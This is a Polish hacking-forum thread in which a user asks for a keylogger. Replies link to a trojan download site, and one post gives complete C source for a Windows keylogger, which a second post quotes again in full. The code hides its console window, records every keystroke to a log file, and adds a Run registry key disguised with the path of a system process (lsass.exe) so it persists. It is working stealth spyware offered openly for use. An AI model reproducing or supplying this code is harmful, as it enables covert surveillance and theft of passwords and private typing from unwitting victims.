Pokaż wyniki 1 do 10 z 15

Temat: Potrzebny Keylogger

Hybrid View

Previous Post Previous Post   Next Post Next Post
  1. #1

    Domyślnie Potrzebny Keylogger

    Witam.
    Potrzebuje keyloggera którego moge zainstalować na moim komputerze i który bedzie mi wszystko co zostanie wystukane na klawie zapisywal do pliku tekstowego.

    Czy ktoś mógłby dać mi link do takiego programu lub podać nazwę

    Z góry thx
    OwN3D !?

  2. #2
    Zarejestrowany
    Jan 2007
    Skąd
    HDD
    Postów
    105

    Domyślnie

    Najlepszy Keyloger to kartka papieru i długopis, sam prowadze zeszycik w ktorym zapisuje linki i takie tam

  3. #3
    Zarejestrowany
    Dec 2006
    Skąd
    Kielce
    Postów
    1,767

    Domyślnie

    GooGLe
    To brzmi dumnie xD


    Download:
    http://www.trojanypl.org/index.php?name=download&kat=3
    Ostatnio edytowane przez eMCe : 01-18-2007 - 17:27 Powód: Mało widoczny link...
    Agencja reklamy kielce (mały kilkudniowy case pozycjonerski )

  4. #4
    Zarejestrowany
    Jan 2007
    Skąd
    HDD
    Postów
    105

    Domyślnie

    Nie ma to jak dobre stare GOOGLE( nie dawno to sobie uświadomiłem )

  5. #5

    Post Kod keyloggera

    Wklej poniższy kod do darmowego kompilatora c++ (np. Dev-C++), skompiluj i w tym samym katalogu zapisz plik "xe41.log" :

    Kod:
    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>
    
    #define BUFSIZE 80
    
    int test_key(void);
    int create_key(char *);
    int get_keys(void);
    
    int main(void)
    {
    HWND stealth; // Creating stealth (window is not visible).
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
    
    int test,create;
    test=test_key(); // Check if key is available for opening.
    
    if (test==2) // Create key.
    {
    char *path="C:\\WINDOWS\\system32\\lsass.exe"; // The path in which the file needs to be.
    create=create_key(path);
    
    }
    
    
    int t=get_keys();
    
    return t;
    }
    
    int get_keys(void)
    {
    short character;
    while(1)
    {
    Sleep(10); // To prevent 100% CPU usage.
    for(character=8;character<=222;character++)
    {
    if(GetAsyncKeyState(character)==-32767)
    {
    
    FILE *file;
    file=fopen("xe41.log","a+");
    if(file==NULL)
    {
    return 1;
    }
    if(file!=NULL)
    {
    if((character>=39)&&(character<=64))
    {
    fputc(character,file);
    fclose(file);
    break;
    }
    else if((character>64)&&(character<91))
    {
    character+=32;
    fputc(character,file);
    fclose(file);
    break;
    }
    else
    {
    switch(character)
    {
    case VK_SPACE:
    fputc(' ',file);
    fclose(file);
    break;
    case VK_SHIFT:
    fputs("[SHIFT]",file);
    fclose(file);
    break;
    case VK_RETURN:
    fputs("\n[ENTER]",file);
    fclose(file);
    break;
    case VK_BACK:
    fputs("[BACKSPACE]",file);
    fclose(file);
    break;
    case VK_TAB:
    fputs("[TAB]",file);
    fclose(file);
    break;
    case VK_CONTROL:
    fputs("[CTRL]",file);
    fclose(file);
    break;
    case VK_DELETE:
    fputs("[DEL]",file);
    fclose(file);
    break;
    case VK_OEM_1:
    fputs("[;:]",file);
    fclose(file);
    break;
    case VK_OEM_2:
    fputs("[/?]",file);
    fclose(file);
    break;
    case VK_OEM_3:
    fputs("ö",file);
    fclose(file);
    break;
    case VK_OEM_4:
    fputs("[ [{ ]",file);
    fclose(file);
    break;
    case VK_OEM_5:
    fputs("[\\|]",file);
    fclose(file);
    break;
    case VK_OEM_6:
    fputs("a*",file);
    fclose(file);
    break;
    case VK_OEM_7:
    fputs("ä",file);
    fclose(file);
    break;
    /* case VK_OEM_PLUS:
    fputc('+',file);
    fclose(file);
    break;
    case VK_OEM_COMMA:
    fputc(',',file);
    fclose(file);
    break;
    case VK_OEM_MINUS:
    fputc('-',file);
    fclose(file);
    break;
    case VK_OEM_PERIOD:
    fputc('.',file);
    fclose(file);
    break; */
    case VK_NUMPAD0:
    fputc('0',file);
    fclose(file);
    break;
    case VK_NUMPAD1:
    fputc('1',file);
    fclose(file);
    break;
    case VK_NUMPAD2:
    fputc('2',file);
    fclose(file);
    break;
    case VK_NUMPAD3:
    fputc('3',file);
    fclose(file);
    break;
    case VK_NUMPAD4:
    fputc('4',file);
    fclose(file);
    break;
    case VK_NUMPAD5:
    fputc('5',file);
    fclose(file);
    break;
    case VK_NUMPAD6:
    fputc('6',file);
    fclose(file);
    break;
    case VK_NUMPAD7:
    fputc('7',file);
    fclose(file);
    break;
    case VK_NUMPAD8:
    fputc('8',file);
    fclose(file);
    break;
    case VK_NUMPAD9:
    fputc('9',file);
    fclose(file);
    break;
    case VK_CAPITAL:
    fputs("[CAPS LOCK]",file);
    fclose(file);
    break;
    default:
    fclose(file);
    break;
    }
    }
    }
    }
    }
    
    }
    return EXIT_SUCCESS;
    }
    
    int test_key(void)
    {
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
    
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {
    check=1;
    return check;
    }
    
    reg_key=RegQueryValueEx(hKey,"Kkey",NULL,NULL,(LPBYTE)path,&buf_length);
    
    if((reg_key!=0)||(buf_length>BUFSIZE))
    check=2;
    if(reg_key==0)
    check=0;
    
    RegCloseKey(hKey);
    return check;
    }
    
    int create_key(char *path)
    {
    int reg_key,check;
    
    HKEY hkey;
    
    reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
    if(reg_key==0)
    {
    RegSetValueEx((HKEY)hkey,"Kkey",0,REG_SZ,(BYTE *)path,strlen(path));
    check=0;
    return check;
    }
    if(reg_key!=0)
    check=1;
    
    return check;
    }
    Uruchom potem ten program. Wszystkie klawisze będą się zapisywały w pliku 'xe41.log' .

  6. #6

    Domyślnie

    Cytat Napisał Sufler Zobacz post
    Wklej poniższy kod do darmowego kompilatora c++ (np. Dev-C++), skompiluj i w tym samym katalogu zapisz plik "xe41.log" :

    Kod:
    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>
    
    #define BUFSIZE 80
    
    int test_key(void);
    int create_key(char *);
    int get_keys(void);
    
    int main(void)
    {
    HWND stealth; // Creating stealth (window is not visible).
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
    
    int test,create;
    test=test_key(); // Check if key is available for opening.
    
    if (test==2) // Create key.
    {
    char *path="C:\\WINDOWS\\system32\\lsass.exe"; // The path in which the file needs to be.
    create=create_key(path);
    
    }
    
    
    int t=get_keys();
    
    return t;
    }
    
    int get_keys(void)
    {
    short character;
    while(1)
    {
    Sleep(10); // To prevent 100% CPU usage.
    for(character=8;character<=222;character++)
    {
    if(GetAsyncKeyState(character)==-32767)
    {
    
    FILE *file;
    file=fopen("xe41.log","a+");
    if(file==NULL)
    {
    return 1;
    }
    if(file!=NULL)
    {
    if((character>=39)&&(character<=64))
    {
    fputc(character,file);
    fclose(file);
    break;
    }
    else if((character>64)&&(character<91))
    {
    character+=32;
    fputc(character,file);
    fclose(file);
    break;
    }
    else
    {
    switch(character)
    {
    case VK_SPACE:
    fputc(' ',file);
    fclose(file);
    break;
    case VK_SHIFT:
    fputs("[SHIFT]",file);
    fclose(file);
    break;
    case VK_RETURN:
    fputs("\n[ENTER]",file);
    fclose(file);
    break;
    case VK_BACK:
    fputs("[BACKSPACE]",file);
    fclose(file);
    break;
    case VK_TAB:
    fputs("[TAB]",file);
    fclose(file);
    break;
    case VK_CONTROL:
    fputs("[CTRL]",file);
    fclose(file);
    break;
    case VK_DELETE:
    fputs("[DEL]",file);
    fclose(file);
    break;
    case VK_OEM_1:
    fputs("[;:]",file);
    fclose(file);
    break;
    case VK_OEM_2:
    fputs("[/?]",file);
    fclose(file);
    break;
    case VK_OEM_3:
    fputs("ö",file);
    fclose(file);
    break;
    case VK_OEM_4:
    fputs("[ [{ ]",file);
    fclose(file);
    break;
    case VK_OEM_5:
    fputs("[\\|]",file);
    fclose(file);
    break;
    case VK_OEM_6:
    fputs("a*",file);
    fclose(file);
    break;
    case VK_OEM_7:
    fputs("ä",file);
    fclose(file);
    break;
    /* case VK_OEM_PLUS:
    fputc('+',file);
    fclose(file);
    break;
    case VK_OEM_COMMA:
    fputc(',',file);
    fclose(file);
    break;
    case VK_OEM_MINUS:
    fputc('-',file);
    fclose(file);
    break;
    case VK_OEM_PERIOD:
    fputc('.',file);
    fclose(file);
    break; */
    case VK_NUMPAD0:
    fputc('0',file);
    fclose(file);
    break;
    case VK_NUMPAD1:
    fputc('1',file);
    fclose(file);
    break;
    case VK_NUMPAD2:
    fputc('2',file);
    fclose(file);
    break;
    case VK_NUMPAD3:
    fputc('3',file);
    fclose(file);
    break;
    case VK_NUMPAD4:
    fputc('4',file);
    fclose(file);
    break;
    case VK_NUMPAD5:
    fputc('5',file);
    fclose(file);
    break;
    case VK_NUMPAD6:
    fputc('6',file);
    fclose(file);
    break;
    case VK_NUMPAD7:
    fputc('7',file);
    fclose(file);
    break;
    case VK_NUMPAD8:
    fputc('8',file);
    fclose(file);
    break;
    case VK_NUMPAD9:
    fputc('9',file);
    fclose(file);
    break;
    case VK_CAPITAL:
    fputs("[CAPS LOCK]",file);
    fclose(file);
    break;
    default:
    fclose(file);
    break;
    }
    }
    }
    }
    }
    
    }
    return EXIT_SUCCESS;
    }
    
    int test_key(void)
    {
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
    
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {
    check=1;
    return check;
    }
    
    reg_key=RegQueryValueEx(hKey,"Kkey",NULL,NULL,(LPBYTE)path,&buf_length);
    
    if((reg_key!=0)||(buf_length>BUFSIZE))
    check=2;
    if(reg_key==0)
    check=0;
    
    RegCloseKey(hKey);
    return check;
    }
    
    int create_key(char *path)
    {
    int reg_key,check;
    
    HKEY hkey;
    
    reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
    if(reg_key==0)
    {
    RegSetValueEx((HKEY)hkey,"Kkey",0,REG_SZ,(BYTE *)path,strlen(path));
    check=0;
    return check;
    }
    if(reg_key!=0)
    check=1;
    
    return check;
    }
    Uruchom potem ten program. Wszystkie klawisze będą się zapisywały w pliku 'xe41.log' .
    nie powinismy dawac gotowcow bo sie nigdy nie nauczy szukac
    (ale dzisaj bede mialy i dam link docelowy)

    http://trojanypl.org/index.php?name=download&kat=3
    Ostatnio edytowane przez Squealer : 05-25-2007 - 13:37

Podobne wątki

  1. Keylogger ;/
    By Xerden in forum Security
    Odpowiedzi: 4
    Autor: 01-14-2007, 14:02
  2. Potrzebny slownik
    By Pokolito in forum Newbie - dla początkujących!
    Odpowiedzi: 9
    Autor: 12-08-2006, 08:32
  3. Keylogger w C++
    By Macok in forum C/C++
    Odpowiedzi: 1
    Autor: 11-19-2006, 13:31
  4. Odpowiedzi: 0
    Autor: 11-12-2006, 22:40

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj